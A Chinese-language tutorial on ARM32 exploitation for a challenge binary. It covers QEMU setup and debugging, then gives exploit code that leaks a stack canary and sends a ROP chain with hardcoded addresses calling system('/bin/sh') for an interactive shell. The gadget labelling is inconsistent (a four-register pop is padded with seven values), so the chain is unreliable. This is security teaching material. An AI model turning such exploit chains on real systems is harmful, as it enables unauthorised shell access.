arm32-pwn从环境搭建到实战
字数 897 2025-08-22 12:22:36
ARM32 PWN 从环境搭建到实战教学文档
一、ARM32 PWN 环境搭建
1. 安装 QEMU
apt-get install qemu
安装后可通过 qemu-[tab][tab] 查看可用指令,其中 qemu-arm 用于运行32位ARM程序。
2. 安装依赖库
sudo apt-get install -y gcc-arm-linux-gnueabi
若遇到依赖问题,执行:
sudo apt-get -f install
然后再次尝试安装。
二、ARM32 程序运行与调试
1. 直接运行程序
qemu-arm -L /usr/arm-linux-gnueabi ./pwn
-L 参数指定依赖库路径。
2. 使用 socat 创建调试环境
socat tcp-l:10002,fork exec:"qemu-arm -g 1234 -L /usr/arm-linux-gnueabi ./pwn",reuseaddr
此命令在10002端口运行程序,-g 1234 表示开启GDB调试端口。
三、ARM32 程序分析
1. 保护机制检查
使用 checksec 检查程序保护:
- Partial RELRO
- Stack Canary
- NX enabled
- No PIE (0x10000)
2. 静态分析特点
- ARM汇编较难理解
- IDA反编译结果可能有误(特别是栈分布)
- 需要结合动态分析验证
3. 动态分析技巧
- 通过输入测试栈布局(如输入0x14*'a')
- 在关键比较指令处下断点查看寄存器状态
- 重点关注canary位置
四、ARM32 调用约定
- 前4个参数通过r0-r3寄存器传递
- 额外参数通过栈传递
- 返回值存放在r0寄存器
五、ROP 利用技术
1. 常用ROP指令
bx:相当于call指令pop {registers}:用于控制寄存器值mov:寄存器间数据移动
2. ROP 构造思路
- 寻找合适的gadget控制r0寄存器(存放第一个参数)
- 定位system函数地址
- 定位"/bin/sh"字符串地址
- 构造调用链
3. 典型ROP链示例
pop_r4_r5_r6_r7 = 0x00010804
pop_r3_pc = 0x000104a8
mov_r0_r7_call = 0x000107f4
payload = ""
payload += p32(pop_r4_r5_r6_r7)
payload += p32(0) # R4
payload += p32(0) # R5
payload += p32(0) # R6
payload += p32(0x21044) # /bin/sh地址
payload += p32(0) # R8
payload += p32(0) # SB
payload += p32(0) # SL
payload += p32(pop_r3_pc)
payload += p32(0x104fc) # system地址
payload += p32(mov_r0_r7_call)
六、完整利用示例
1. Canary泄露
p.send('a' * 18)
r = (p.recv())
canary = r[24:28]
2. 构造完整payload
pay = 'A' * 24 + (canary) + p32(0xdeadbeef) + payload
p.send(pay)
p.interactive()
七、调试技巧
- 使用GDB附加到qemu调试端口
- 在关键比较指令处下断点
- 观察栈布局和寄存器变化
- 验证ROP链执行流程
八、总结
ARM32 PWN挑战主要在于:
- 环境搭建复杂
- 汇编代码理解难度大
- IDA静态分析可能不准确
- 需要结合动态调试验证
通过本教程,您应该掌握了从环境搭建到实际漏洞利用的完整流程,包括canary泄露、ROP链构造和ARM32调用约定等关键知识点。